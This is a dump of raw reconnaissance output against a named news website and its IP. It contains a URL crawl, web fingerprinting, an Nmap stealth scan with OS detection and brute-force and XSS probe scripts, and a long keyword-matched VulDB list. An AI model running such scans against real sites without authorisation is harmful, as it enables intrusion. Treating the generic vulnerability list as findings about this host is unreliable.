9771//media.alalamtv.net/uploads/425x245/2019/11/24/157462285688286800.jpg
9772//media.alalamtv.net/uploads/425x245/2019/11/24/157462370317972500.jpg
9773//media.alalamtv.net/uploads/ads/151963289985625100.png
9774//media.alalamtv.net/uploads/ads/151963292592905200.png
9775//media.alalamtv.net/uploads/ads/151963295393188600.png
9776//media.alalamtv.net/uploads/ads/152428776796238600.jpg
9777//media.alalamtv.net/uploads/ads/153278728347101300.png
9778//media.alalamtv.net/uploads/ads/153958585071298700.png
9779//media.alalamtv.net/uploads/ads/155642981350170900.png
9780//media.alalamtv.net/uploads/ads/156852918073616600.png
9781//media.alalamtv.net/uploads/ads/157027953794477200.jpg
9782//media.alalamtv.net/uploads/ads/157427718021295800.png
9783/morocco
9784/newscommentary
9785/novafez
9786/oman
9787/others
9788/pakistan
9789/palestine
9790/photo
9791/photonote
9792/programs
9793//pw.alalamtv.net/
9794//pw.alalamtv.net/piwik.php?idsite=1
9795/qalam-rosas
9796/qatar
9797/qayaheb-al-kiyan
9798/reports
9799/rss
9800/sabah-jadid
9801/saudia
9802/serials
9803/SIGNAL
9804/sites/2/style/css/hover-min.css
9805/sites/2/style/css/ie8.css
9806/sites/2/style/css/slick.css
9807/sites/2/style/image/preload.jpg
9808/sites/2/style/js/custom3.js?v=128
9809/sites/2/style/js/jquery.dlmenu.js
9810/sites/2/style/js/modernizr.custom.js
9811/sites/2/style/js/slick.js
9812/sport
9813/studio-beirut
9814/Sudan
9815/syria
9816/tech
9817text/css
9818text/javascript
9819/todaysissue
9820/tunisia
9821/turkey
9822/videographic
9823/videos
9824-//W3C//DTD XHTML 1.0 Transitional//EN
9825/whatsapp
9826/widget/notification/config.js
9827/widget/notification/init.js
9828/world
9829/yemen
9830/yoghal
9831طيبة
9832######################################################################################################################################
9833http://192.99.38.90 [301 Moved Permanently] Country[CANADA][CA], HTTPServer[Varnish], IP[192.99.38.90], RedirectLocation[https://www.alalamtv.net/], UncommonHeaders[x-varnish], Varnish
9834https://www.alalamtv.net/ [200 OK] Country[CANADA][CA], Google-Analytics[Universal][UA-131115355-3], HTTPServer[nginx], IP[192.99.38.90], JQuery, Modernizr, Open-Graph-Protocol[website][966242223397117], Script[text/javascript], Title[قناة العالم الاخبارية], X-UA-Compatible[IE=8,IE=edge], nginx
9835######################################################################################################################################
9836
9837wig - WebApp Information Gatherer
9838
9839
9840Scanning https://www.alalamtv.net...
9841_________________ SITE INFO __________________
9842IP Title
9843192.99.38.90 قناة العالم الاخبارية
9844
9845__________________ VERSION ___________________
9846Name Versions Type
9847nginx Platform
9848
9849______________________________________________
9850Time: 42.6 sec Urls: 649 Fingerprints: 40401
9851######################################################################################################################################
9852Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 21:07 EST
9853NSE: Loaded 163 scripts for scanning.
9854NSE: Script Pre-scanning.
9855Initiating NSE at 21:07
9856Completed NSE at 21:07, 0.00s elapsed
9857Initiating NSE at 21:07
9858Completed NSE at 21:07, 0.00s elapsed
9859Initiating Parallel DNS resolution of 1 host. at 21:07
9860Completed Parallel DNS resolution of 1 host. at 21:07, 0.15s elapsed
9861Initiating SYN Stealth Scan at 21:07
9862Scanning ns502056.ip-192-99-38.net (192.99.38.90) [1 port]
9863Discovered open port 80/tcp on 192.99.38.90
9864Completed SYN Stealth Scan at 21:07, 0.07s elapsed (1 total ports)
9865Initiating Service scan at 21:07
9866Scanning 1 service on ns502056.ip-192-99-38.net (192.99.38.90)
9867Completed Service scan at 21:07, 6.08s elapsed (1 service on 1 host)
9868Initiating OS detection (try #1) against ns502056.ip-192-99-38.net (192.99.38.90)
9869Retrying OS detection (try #2) against ns502056.ip-192-99-38.net (192.99.38.90)
9870Initiating Traceroute at 21:07
9871Completed Traceroute at 21:07, 3.01s elapsed
9872Initiating Parallel DNS resolution of 7 hosts. at 21:07
9873Completed Parallel DNS resolution of 7 hosts. at 21:07, 0.32s elapsed
9874NSE: Script scanning 192.99.38.90.
9875Initiating NSE at 21:07
9876Completed NSE at 21:08, 26.49s elapsed
9877Initiating NSE at 21:08
9878Completed NSE at 21:08, 0.44s elapsed
9879Nmap scan report for ns502056.ip-192-99-38.net (192.99.38.90)
9880Host is up (0.034s latency).
9881
9882PORT STATE SERVICE VERSION
988380/tcp open http-proxy Varnish http accelerator
9884| http-brute:
9885|_ Path "/" does not require authentication
9886|_http-chrono: Request times for /; avg: 241.64ms; min: 169.77ms; max: 300.38ms
9887|_http-csrf: Couldn't find any CSRF vulnerabilities.
9888|_http-date: Mon, 25 Nov 2019 02:07:56 GMT; 0s from local time.
9889|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
9890|_http-dombased-xss: Couldn't find any DOM based XSS.
9891|_http-drupal-enum: Nothing found amongst the top 100 resources,use --script-args number=<number|all> for deeper analysis)
9892|_http-errors: Couldn't find any error pages.
9893|_http-feed: Couldn't find any feeds.
9894|_http-fetch: Please enter the complete path of the directory to save data in.
9895| http-headers:
9896| Date: Mon, 25 Nov 2019 02:07:58 GMT
9897| Server: Varnish
9898| X-Varnish: 739489270
9899| Content-Type: text/html; charset=utf-8
9900| Retry-After: 5
9901| Content-Length: 126
9902| Connection: close
9903|
9904|_ (Request type: GET)
9905|_http-jsonp-detection: Couldn't find any JSONP endpoints.
9906| http-methods:
9907|_ Supported Methods: GET HEAD POST OPTIONS
9908|_http-mobileversion-checker: No mobile version detected.
9909|_http-open-proxy: Proxy might be redirecting requests
9910|_http-security-headers:
9911|_http-server-header: Varnish
9912| http-sitemap-generator:
9913| Directory structure:
9914| Longest directory structure:
9915| Depth: 0
9916| Dir: /
9917| Total files found (by extension):
9918|_
9919|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
9920|_http-title: 301
9921| http-vhosts:
9922| 126 names had status 301
9923|_dmz.ip-192-99-38.net
9924|_http-wordpress-enum: Nothing found amongst the top 100 resources,use --script-args search-limit=<number|all> for deeper analysis)
9925|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
9926|_http-xssed: No previously reported XSS vuln.
9927| vulscan: VulDB - https://vuldb.com:
9928| [141219] Varnish Cache up to 6.0.3 LTS/6.1.x/6.2.0 HTTP1 Parser Request Restart denial of service
9929| [109484] Varnish HTTP Cache up to 4.1.8/5.2.0 cache_fetch.c vbf_stp_error information disclosure
9930| [104823] Varnish HTTP Cache up to 4.0.4/4.1.7/5.1.2 Integer Overflow denial of service
9931| [82826] Varnish up to 3.0.6 HTTP Request CRLF privilege escalation
9932| [49716] Sun OpenSolaris up to Snv 85 Accelerator nl7c_http_log denial of service
9933| [141903] OpenConnect up to 8.04 process_http_response memory corruption
9934| [141896] wp-cerber Plugin up to 2.6 on WordPress HTTP Header cross site scripting
9935| [141853] Dolibarr 10.0.1 HTTP Header htdocs/societe/card.php cross site scripting
9936| [141818] dwnldr Plugin up to 1.00 on WordPress HTTP Header cross site scripting
9937| [141526] Couchbase Server 5.1.2/5.5.0 HTTP Server Port 8092 cross site scripting
9938| [141475] LimeSurvey up to 3.17.13 Cookie httponly privilege escalation
9939| [141392] Silver Peak EdgeConnect SD-WAN up to 8.1.6.x Web Interface HTTP Traffic Slow denial of service
9940| [141339] D-Link DIR-806 HTTP Header Shell privilege escalation
9941| [141337] pecl-http extension up to 2.6.0beta2/3.1.0beta2 php_http_params.c merge_param() HTTP Requests memory corruption
9942| [141321] IBM Jazz for Service Management 1.1.3 Cache HTTP GET Request Header Injection privilege escalation
9943| [141293] JetBrains TeamCity 2019.1/2019.1.1 HTTP Request cross site scripting
9944| [141275] Cisco Industrial Network Director Plug-and-Play Service HTTP Request information disclosure
9945| [141159] Mulesoft/Mulesoft API Gateway APIkit/http-connector/OAuth2 Provider directory traversal
9946| [141111] Cisco NX-OS NX-API Service HTTP Request Restart denial of service
9947| [141062] WebTorrent up to 0.107.5 HTTP Server cross site scripting
9948| [141001] Cisco IOS XE REST API Virtual Service Container HTTP Requests weak authentication
9949| [140999] Splunk Plugin up to 1.7.4 on Jenkins HTTP Endpoint Code Execution
9950| [140737] Swoole up to 4.2.12 swPort_http_static_handler directory traversal
9951| [140702] HTTPie Open Redirect
9952| [140563] Cisco Integrated Management Controller Web Server HTTP Request privilege escalation
9953| [140562] Cisco Integrated Management Controller Web Server HTTP Request Crash denial of service
9954| [140555] Cisco Integrated Management Controller Web-based Management Interface HTTP Request privilege escalation
9955| [140106] HTTP2 up to 2.4.39 Push Request Crash denial of service
9956| [140085] McAfee Web Gateway up to 7.8.2.11 X-Frame-Options HTTP Header Clickjacking cross site scripting
9957| [140052] SAP Enable Now 1902 Session Cookie httponly privilege escalation
9958| [140050] SAP Gateway 750/751/752/753 OData Request HTTP Header information disclosure
9959| [140013] HTTP2 Empty Frame Flooding denial of service
9960| [140012] HTTP2 Reset Request Flooding denial of service
9961| [140011] HTTP2 Loop Request CPU Exhaustion denial of service
9962| [140010] HTTP2 Ping Flooding denial of service
9963| [140009] HTTP2 Window Size Request denial of service
9964| [140008] HTTP2 Data Buffer denial of service
9965| [140007] HTTP2 Header denial of service
9966| [140006] HTTP2 SETTING Frame Flooding denial of service
9967| [139986] UniSign up to 2.0.4.0 HTTPS Packet Stack-based memory corruption
9968| [139972] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
9969| [139971] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
9970| [139970] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
9971| [139969] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
9972| [139968] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
9973| [139684] Cisco WebEx Meetings Server Web-based Management Interface HTTP Request privilege escalation
9974| [139676] go-camo up to 1.1.4 Internal Endpoint HTTP Requests Server-Side Request Forgery
9975| [139665] Cisco ASA Web-based Management Interface HTTPS Request privilege escalation
9976| [139641] Relution Enterprise Appstore Publisher Plugin up to 1.24 on Jenkins Permission Check HTTP privilege escalation
9977| [139574] MicroDigital N-Series Camera up to 6400.0.8.5 httpd upload.php Filename memory corruption
9978| [139570] MicroDigital N-Series Camera up to 6400.0.8.5 httpd sql injection
9979| [139568] MicroDigital N-Series Camera up to 6400.0.8.5 HTTPD Parameter Time-Based information disclosure
9980| [139567] MicroDigital N-Series Camera up to 6400.0.8.5 HTTPD Parameter OS Command Injection privilege escalation
9981| [139564] Shenzhen 2.3 HTTP Parameter Pollution weak authentication
9982| [139544] cPanel up to 60.0.24 HTTP POST weak encryption
9983| [139540] cPanel up to 60.0.24 Apache HTTP Server Key information disclosure
9984| [139448] Magento up to 2.1.17/2.2.8/2.3.1 Metadata HTTP Request information disclosure
9985| [139239] cPanel up to 70.0.22 Apache HTTP Server Log information disclosure
9986| [139130] cPanel up to 73.x Apache HTTP Server Injection privilege escalation
9987| [139050] http-file-server cross site scripting
9988| [139049] min-http-server cross site scripting
9989| [139029] IBM WebSphere Application Server Liberty Admin Center HTTP Request Clickjacking privilege escalation
9990| [138958] Amcrest IP2M-841B V2.520.AC00.18.R HTTP Endpoint /videotalk weak authentication
9991| [138915] PrinterOn Central Print Services up to 4.1.4 HTTP GET Request information disclosure
9992| [138851] MikroTik RouterOS up to 6.44.4 HTTP Server HTTP Request Memory Exhaustion denial of service
9993| [138850] MikroTik RouterOS up to 6.44.4 HTTP Server HTTP Request Memory Exhaustion denial of service
9994| [138824] Proxygen HTTP Header Crafted Packet Out-of-Bounds memory corruption
9995| [138749] marginalia up to 1.5 User Controller HTTP Parameter sql injection
9996| [138505] Mozilla Firefox up to 67.x HTTP Alternative Services Header Portscan privilege escalation
9997| [138492] Mozilla Firefox/Thunderbird/Firefox ESR HTTP2 Cache Use-After-Free denial of service
9998| [138472] Mozilla Firefox/Thunderbird/Firefox ESR XMLHttpRequest Use-After-Free denial of service
9999| [138466] OSS Http Request 6 on Cordova SSL Certificate Validator spoofing
10000| [138465] Linagora Hublin 72ead897082403126bf8df9264e70f0a9de247ff HTTP Request directory traversal
10001| [138418] Linux Foundation ONOS up to 1.15.0 YangLiveCompilerManager.java runJavaCompiler HTTP Request privilege escalation
10002| [138379] ZeroShell 3.9.0 Web Application HTTP Parameter OS Command Injection privilege escalation
10003| [138300] Synetics i-doit up to 1.12 HTTP POST Request sql injection
10004| [138299] MailCleaner NewslettersController.php allowAction() HTTP GET Request information disclosure
10005| [138278] Cisco Small Business 200 Series Switch Web Interface HTTP Request Open Redirect
10006| [138271] Cisco Vision Dynamic Signage Director REST API HTTP Requests weak authentication
10007| [138242] FANUC Robotics Virtual Robot Controller 8.23 Remote Admin Webserver HTTP Request memory corruption
10008| [138241] FANUC Robotics Virtual Robot Controller 8.23 HTTP Request directory traversal
10009| [138214] CentOS-WebPanel.com CentOS Web Panel 0.9.8.846 Login HTTP Response Username information disclosure
10010| [138146] Oracle Sun ZFS Storage Appliance Kit (AK) 8.8.3 HTTP data path subsystems unknown vulnerability
10011| [138129] Oracle Retail Xstore Point of Service 7.0/7.1 Apache HTTP Server denial of service
10012| [138025] Oracle HTTP Server 12.1.3.0.0/12.2.1.3.0 jQuery information disclosure
10013| [138012] Oracle Outside In Technology 8.5.4 Apache HTTP Server unknown vulnerability
10014| [138009] Oracle Outside In Technology 8.5.4 Apache HTTP Server unknown vulnerability
10015| [137967] Oracle up to 8.0.7 Apache httpd unknown vulnerability
10016| [137911] Oracle E-Business Suite up to 12.2.8 Apache HTTP Server unknown vulnerability
10017| [137901] Oracle Primavera Unifier up to 18.8 Apache HTTP Server unknown vulnerability
10018| [137860] PluckCMS up to 4.7.4 File Upload data/inc/images.php HTTP Request privilege escalation
10019| [137850] http-file-server up to 0.2.6 on NPM directory traversal
10020| [137804] Python up to 3.7.2 Domain Validator Lib/http/cookiejar.py http.cookiejar.DefaultPolicy.domain_return_ok Hostname privilege escalation
10021| [137767] Squid Proxy up to 2.7.STABLE9/3.5.28/4.7 HTTP Header Authorization Header memory corruption
10022| [137766] Squid Proxy up to 4.7.0 HttpHeader::getAuth Header memory corruption
10023| [137743] Juniper Junos on SRX srxpfe HTTP Packet Crash denial of service
10024| [137699] Mongoose 6.15 mongoose.c mq_parse_http memory corruption
10025| [137667] eQ-3 Homematic CCU2/Homematic CCU3 ReGa ise GmbH HTTP-Server Code Execution memory corruption
10026| [137420] Cisco Small Business 200 Managed Switch Management Web Interface HTTPS Packet memory corruption
10027| [137377] Cisco Web Security Appliance HTTPS Decryption Restart denial of service
10028| [137376] Cisco AsyncOS Web Proxy Function HTTP/HTTPS Request denial of service
10029| [137322] F5 BIG-IP up to 14.1.0.5 iControl REST Endpoint HTTP Request Loop denial of service
10030| [137315] F5 BIG-IP up to 11.6.4 iRules HTTP Header denial of service
10031| [137282] JetBrains IntelliJ IDEA Gradle Artifact Resolver HTTP weak encryption
10032| [137281] JetBrains Ktor Framework up to 1.0.x Artifact Resolver HTTP weak encryption
10033| [137280] JetBrains Kotlin up to 1.3.29 Build HTTP weak encryption
10034| [137260] Moxa OnCell G3100-HSPA up to 1.6 Build 17100315 Monitoring Protocol HTTP weak encryption
10035| [137243] Amcrest IPM-721S Amcrest_IPC-AWXX_Eng_N_V2.420.AC00.17.R.20170322 HTTP API HTTP Requests Stack-based memory corruption
10036| [137173] D-Link DCS-1100/DCS-1130 HTTP Management Interface /sbin RTSP Connection weak authentication
10037| [137171] Blipcare BP700 10.1 Wireless Network HTTP Request memory corruption
10038| [137169] Blipcare Device Web Management Interface HTTP weak encryption
10039| [137115] Django up to 1.11.21/2.1.9/2.2.2 HTTP Request Redirect weak encryption
10040| [137109] Exiv2 up to 0.27.1 HTTP Server http.c Response denial of service
10041| [137093] Synology Calendar up to 2.3.1 HTTP Header drivers_syno_import_user.php Command privilege escalation
10042| [137024] ABB IDAL HTTP Server /cgi/loginDefaultUser GET Request weak authentication
10043| [137014] Google Chrome XMLHttpRequest HTML Page Cross-Origin information disclosure
10044| [136928] Cisco Data Center Network Manager Web-based Management Interface HTTP Request weak authentication
10045| [136885] IBM API Connect up to 5.0.8.6 HTTP Requests information disclosure
10046| [136872] LiveZilla Server up to 8.0.1.0 mobile/index.php HTTP Header cross site scripting
10047| [136867] IBM API Connect up to 2018.4.1.5 HTTP Request information disclosure
10048| [136858] MakerBot Replicator 5G Printer Apache HTTP Server information disclosure
10049| [136854] ABB IDAL HTTP Server Host Header memory corruption
10050| [136783] b3log Solo 2.9.3 Publish Articles Menu HTTP Request Stored cross site scripting
10051| [136781] TP-LINK WR1043ND 3 HTTPd Server MediaServerFoldersCfgRpm.htm memory corruption
10052| [136780] Sophos XG Firewall 17.0.8 MR-8 API Configuration APIController HTTP Header privilege escalation
10053| [136741] Cisco RV110W/RV130W/RV215W HTTP Request information disclosure
10054| [136740] Cisco RV110W/RV130W/RV215W Web-based Management Interface HTTP Request information disclosure
10055| [136736] Cisco Wide Area Application Services HTTPS Proxy Connection Request privilege escalation
10056| [136731] Cisco RV110W Wireless-N VPN Firewall Web-based Management Interface HTTP Requests denial of service
10057| [136729] Cisco Integrated Management Controller Web-based Management Interface HTTP Request information disclosure
10058| [136724] Cisco SD-WAN Solution vManage Web-based UI HTTP Requests privilege escalation
10059| [136609] Netdata 1.10.0 HTTP Header web/api/web_api_v1.c privilege escalation
10060| [136584] IBM Cognos Controller 10.2.0/10.2.1/10.3.0/10.3.1/10.4.0 HTTP Method Bypass privilege escalation
10061| [136582] IBM Cognos Controller 10.2.0/10.2.1/10.3.0/10.3.1/10.4.0 HTTP Method HTTP Request information disclosure
10062| [136513] EmbedThis GoAhead up to 4.1.0/5.0.0 Header Parsing http.c memory corruption
10063| [136512] Eclipse Buildship up to 3.1.0 HTTP weak encryption
10064| [136374] Apache HTTP Server up to 2.4.38 Slash Regular Expression unknown vulnerability
10065| [136373] Apache HTTP Server 2.4.34/2.4.35/2.4.36/2.4.37/2.4.38 HTTP2 Request Crash denial of service
10066| [136372] Apache HTTP Server up to 2.4.38 HTTP2 Request unknown vulnerability
10067| [136250] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_free_proto_data_cgi memory corruption
10068| [136249] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_free_proto_data_cgi memory corruption
10069| [136248] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_get_proto_data memory corruption
10070| [136247] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_get_proto_data memory corruption
10071| [136245] Starry Station HTTP API JSON Payload PIN weak authentication
10072| [136242] Twisted up to 19.2.0 twisted.web HTTP Method privilege escalation
10073| [136206] Moxa AWK-3121 1.14 Session Cookie httponly information disclosure
10074| [136204] Munica Web Server 1.14 Communication HTTP Traffic unknown vulnerability
10075| [136203] Gemalto Admin Control Center up to 7.91 Cookie httponly information disclosure
10076| [136020] Gardener up to 0.19.x Access Control HTTP GET Request information disclosure
10077| [136019] GrandNode 4.40 LetsEncryptController.cs LetsEncryptController HTTP Requests directory traversal
10078| [135863] AUO Solar Data Recorder up to 1.2.x HTTP Basic Authentication weak authentication
10079| [135862] Cyrus IMAP Server up to 2.5.12/3.0.9 httpd privilege escalation
10080| [135959] Fortinet FortiOS 6.0.0/6.0.1/6.0.2/6.0.3/6.0.4 SSL VPN Web Portal HTTP Requests Reflected cross site scripting
10081| [135957] Fortinet FortiOS up to 6.0.4 SSL VPN Web Portal HTTP Requests Reflected cross site scripting
10082| [135936] Fortinet FortiOS up to 6.0.4 SSL VPN Web Portal HTTP Requests Password privilege escalation
10083| [135364] Emerson Network Power Liebert Challenger 5.1E0.5 httpGetSet/httpGet.htm Parameter cross site scripting
10084| [135261] GoHTTP up to 2017-07-25 Header Stack-based memory corruption
10085| [135220] IBM Cloud Private Kubernetes API Server 2.1.0/3.1.0/3.1.1/3.1.2 HTTP Proxy unknown vulnerability
10086| [135214] GoHTTP up to 2017-07-25 sendHeader memory corruption
10087| [135213] GoHTTP up to 2017-07-25 scan Long URL memory corruption
10088| [135212] GoHTTP up to 2017-07-25 Extension GetExtension memory corruption
10089| [135159] Symfony up to 2.7.50/2.8.49/3.4.25/4.1.11/4.2.6 http-foundation HTTP Method privilege escalation
10090| [135142] Cisco AnyConnect Secure Mobility Client on Linux HostScan HTTP Traffic information disclosure
10091| [135141] Cisco Identity Services Engine ERS API HTTP Request privilege escalation
10092| [135136] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request SQL privilege escalation
10093| [135135] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request SQL privilege escalation
10094| [135131] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
10095| [135130] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
10096| [135129] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
10097| [135014] Kyocera TASKalfa 4002i/TASKalfa 6002i DoBox_CstmBox_Info.model.htm HTTP Request information disclosure
10098| [134849] Apple macOS up to 10.14.4 IOAcceleratorFamily memory corruption
10099| [134652] LG GAMP-7100/GAPM-7200/GAPM-8000 Log File gapm7100_${today's_date}.log HTTP Request information disclosure
10100| [134638] Anker Roav A1 Dashcam RoavA1SWV1.9 HTTP Server HTTP POST Request privilege escalation
10101| [134632] Anker Roav A1 Dashcam RoavA1SWV1.9 HTTP Server HTTP PUT Request Firmware privilege escalation
10102| [134604] Seagate NAS OS 4.3.15.1 Session Cookie httponly privilege escalation
10103| [134596] University of Cambridge mod_ucam_webauth up to 2.0.1 HTTP Response directory traversal
10104| [134584] NetApp OnCommand Insight up to 7.3.4 HTTP Security Header information disclosure
10105| [134583] NetApp OnCommand Unified Manager up to 9.4 HTTP Security Header information disclosure
10106| [134582] NetApp OnCommand Unified Manager up to 5.2.3 HTTP Security Header information disclosure
10107| [134565] IBM Cloud App Management V2018.2.0/V2018.4.0/V2018.4.1 HTTP Request information disclosure
10108| [134511] Master IPCAMERA01 3.3.4.2103 thttpd privilege escalation
10109| [134458] Hisilicon HI3516 RTSP HTTP Packet memory corruption
10110| [134433] Sierra Wireless AirLink ES450 4.9.3 ACEManager EmbeddedAceSet_Task.cgi HTTP Request privilege escalation
10111| [134428] Sierra Wireless AirLink ES450 4.9.3 ACEManager HTTP Request Config information disclosure
10112| [134427] Sierra Wireless AirLink ES450 4.9.3 ACEManager template_load.cgi HTTP Request information disclosure
10113| [134426] Sierra Wireless AirLink ES450 up to 4.9.3 ACEManager HTTP Request cross site request forgery
10114| [134424] Sierra Wireless AirLink ES450 4.9.3 Webserver upload.cgi HTTP Request Code Execution
10115| [134422] Sierra Wireless AirLink ES450 4.9.3 ACEManager iplogging.cgi HTTP Request command injection
10116| [134390] Xtext/Xtend up to 2.17.x Built Artifact HTTP weak encryption
10117| [134366] Cisco Expressway Management Web Interface HTTP Request directory traversal
10118| [134361] Cisco Web Security Appliance Web Proxy Function HTTPS Request Restart denial of service
10119| [134356] Cisco Small Business RV320/Small Business RV325 Web-based Interface HTTP Request Session Hijacking weak authentication
10120| [134292] Rockwellautomation Armor Compact GuardLogix 5370 Web Server HTTP/HTTPS Request Stack-based memory corruption
10121| [134283] Crestron AM-100/AM-101 Slie Show conference.cgi HTTP POST Request privilege escalation
10122| [134282] Crestron AM-100/AM-101 login.cgi HTTP POST Request information disclosure
10123| [134279] Crestron AM-100/AM-101 cURL return.cgi HTTP Requests privilege escalation
10124| [134277] Crestron AM-100/AM-101 HTTP Endpoint file_transfer.cgi System Command command injection
10125| [134105] SimplyBook.me Enterprise Administrative Management Interface /v2/rest/ HTTP PUT Request privilege escalation
10126| [134104] SimplyBook.me Enterprise Password Reset Link HTTP GET Request privilege escalation
10127| [134035] Pivotal Apps Manager up to 665.0.27/666.0.20/667.0.6 Invitation Service HTTP weak encryption
10128| [134026] Jakub Chodounsky Bonobo Git Server up to 6.4.x GitController HTTP Request privilege escalation
10129| [134018] Deltek Vision up to 7.6 RPC over HTTP SQL privilege escalation
10130| [133994] Hisilicon HI3510 Web Management Portal HTTP Request Credentials information disclosure
10131| [133960] Tildeslash Monit up to 5.25.2 HTTP Basic Authentication http/cervlet.c _viewlog Authorization Header cross site scripting
10132| [133823] OkHttp up to 3.12 Certificate Pinning CertificatePinner.java weak authentication
10133| [133815] Cisco DNA Center up to 1.2.4 Software Image Management HTTP Requests weak authentication
10134| [133387] Xerox ColorQube 9303 on Linux HTTP Request OS Command Injection privilege escalation
10135| [133368] JFrog Artifactory 6.7.3 HTTP Header Password Reset privilege escalation
10136| [133330] lighttpd up to 1.4.53 burl.c burl_normalize_2F_to_slash_fix HTTP GET Request memory corruption
10137| [133328] WebKitGTK/WPE WebKit up to 2.24.0 HTTP Proxy Setting Deanonymization information disclosure
10138| [133315] Apache Airflow up to 1.10.2 HTTP Endpoint cross site request forgery
10139| [133290] Apache Tomcat up to 8.5.37/9.0.14 HTTP2 Stream Execution denial of service
10140| [133277] TIBCO ActiveMatrix BusinessWorks up to 6.4.2 HTTP Connector HTTP Requests privilege escalation
10141| [133112] Apache HTTP Server up to 2.4.38 mod_auth_digest race condition privilege escalation
10142| [133111] Apache HTTP Server 2.4.37/2.4.38 mod_ssl Bypass privilege escalation
10143| [133105] IBM Cloud Private 3.1.0/3.1.1 HTTP Host Header cross site scripting
10144| [133103] IBM Business Automation Workflow 18.0.0.0/18.0.0.1/18.0.0.2 HTTP Request information disclosure
10145| [133099] Hanwha Techwin SRN-4000/SRN-4000 Management Page HTTP Request weak authentication
10146| [132823] http-live-simulator 1.0.5 on npm directory traversal
10147| [132709] IBM InfoSphere Information Server 11.3/11.5/11.7 HTTP Request unknown vulnerability
10148| [132588] Node.js up to 6.16.x/8.15.0/10.15.1/11.10.0 HTTP Connection Header denial of service
10149| [132587] Node.js up to 6.16.x/8.15.0/10.15.1/11.10.0 HTTP Connection Header Slowloris denial of service
10150| [132535] Cisco IOS XE Web Services Management Agent HTTP Requests privilege escalation
10151| [132454] mod_auth_mellon up to 0.14.1 HTTP Header Bypass weak authentication
10152| [132230] Green Hills INTEGRITY RTOS 5.0.4 Interpeak IPWEBS HTTP Header Stack-based memory corruption
10153| [132106] PowerDNS Authoritative Server up to 4.0.6/4.1.6 HTTP Connector HTTP Request privilege escalation
10154| [132036] Sricam IP CCTV Camera Web Server HTTP Requests Flooding denial of service
10155| [131984] CUJO Smart Firewall 7003 Safe Browsing HTTP Requests Bypass privilege escalation
10156| [131943] Teracue ENC-400 up to 2.56 HTTP Endpoint weak authentication
10157| [131921] Webgalamb up to 7.0 HTTP Header subscriber.php sql injection
10158| [131916] Wowza Streaming Engine 4.7.4.01 REST API HTTP Request directory traversal
10159| [131878] shellinabox up to 2.20 HTTP Request Parser libhttp/url.c denial of service
10160| [131857] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
10161| [131856] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
10162| [131855] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
10163| [131795] Openwsman up to 2.6.9 process_connection() HTTP Requests denial of service
10164| [131794] Openwsman up to 2.6.9 openwsmand HTTP Request File directory traversal
10165| [131768] IBM Jazz Foundation up to 5.x/6.0.6 HTTP Header Injection privilege escalation
10166| [131689] Google Go 1.11.5 net-http HTTP Header CRLF privilege escalation
10167| [131615] Python up to 2.7.16/3.7.2 urllib/urllib2 urllib.request.urlopen HTTP Header privilege escalation
10168| [131565] Cisco NX-OS NX-API HTTPS Packet command injection
10169| [131479] Apache Solr up to 7.6 HTTP GET Request Server-Side Request Forgery
10170| [131446] Apache Solr up to 5.0.5/6.6.5 Config API HTTP POST Request Code Execution
10171| [131426] zzcms 8.3 /user/logincheck.php HTTP Header sql injection
10172| [131340] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 /GponForm/fsetup_Form HTTP POST Request memory corruption
10173| [131339] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 HTTP POST Request memory corruption
10174| [131338] Alcatel-Lucent I-240W-Q GPON ONT HTTP Request command injection
10175| [131337] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 HTTP Request command injection
10176| [131335] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 telnetd HTTP Request privilege escalation
10177| [131262] Cisco RV110W Wireless-N VPN Firewall Web-based Management Interface HTTP Requests privilege escalation
10178| [131173] D-Link DIR-878 1.12B01 HTTP Header strncpy memory corruption
10179| [131096] Netis WF2880/WF2411 2.1.36123 HTTP Header /bin/boa GET Request memory corruption
10180| [131072] IBM Security Identity Governance and Intelligence up to 5.2.4.1 Token httponly weak encryption
10181| [130967] PHPMyWind 5.5 admin/default.php HTTP Host Header cross site scripting
10182| [130922] Amazon Fire OS up to 5.3.6.3 HTTP Requests Man-in-the-Middle weak encryption
10183| [130870] UA-Parser UAP-Core up to 0.5.x regex.yaml HTTP Header denial of service
10184| [130752] Live555 0.95 Content-Length Header handleRequestBytes HTTP Header memory corruption
10185| [130692] ABBYY FlexiCapture 12 Release 1 HTTP API Parameter sql injection
10186| [130618] libcURL up to 7.63.x lib/vauth/ntlm.c Curl_auth_create_ntlm_type3_message HTTP Header memory corruption
10187| [130675] Kunbus PR100088 Modbus Gateway up to R02 HTTP weak encryption
10188| [130464] Helm ChartMuseum up to 0.8.0 HTTP API POST Request directory traversal
10189| [130388] http-live-simulator up to 1.0.6 URL directory traversal
10190| [130341] Apache HTTP Server 2.4.37 mod_ssl Loop denial of service
10191| [130330] Apache HTTP Server up to 2.4.37 mod_session Expired privilege escalation
10192| [130329] Apache HTTP Server 2.4.37 mod_http2 Slowloris denial of service
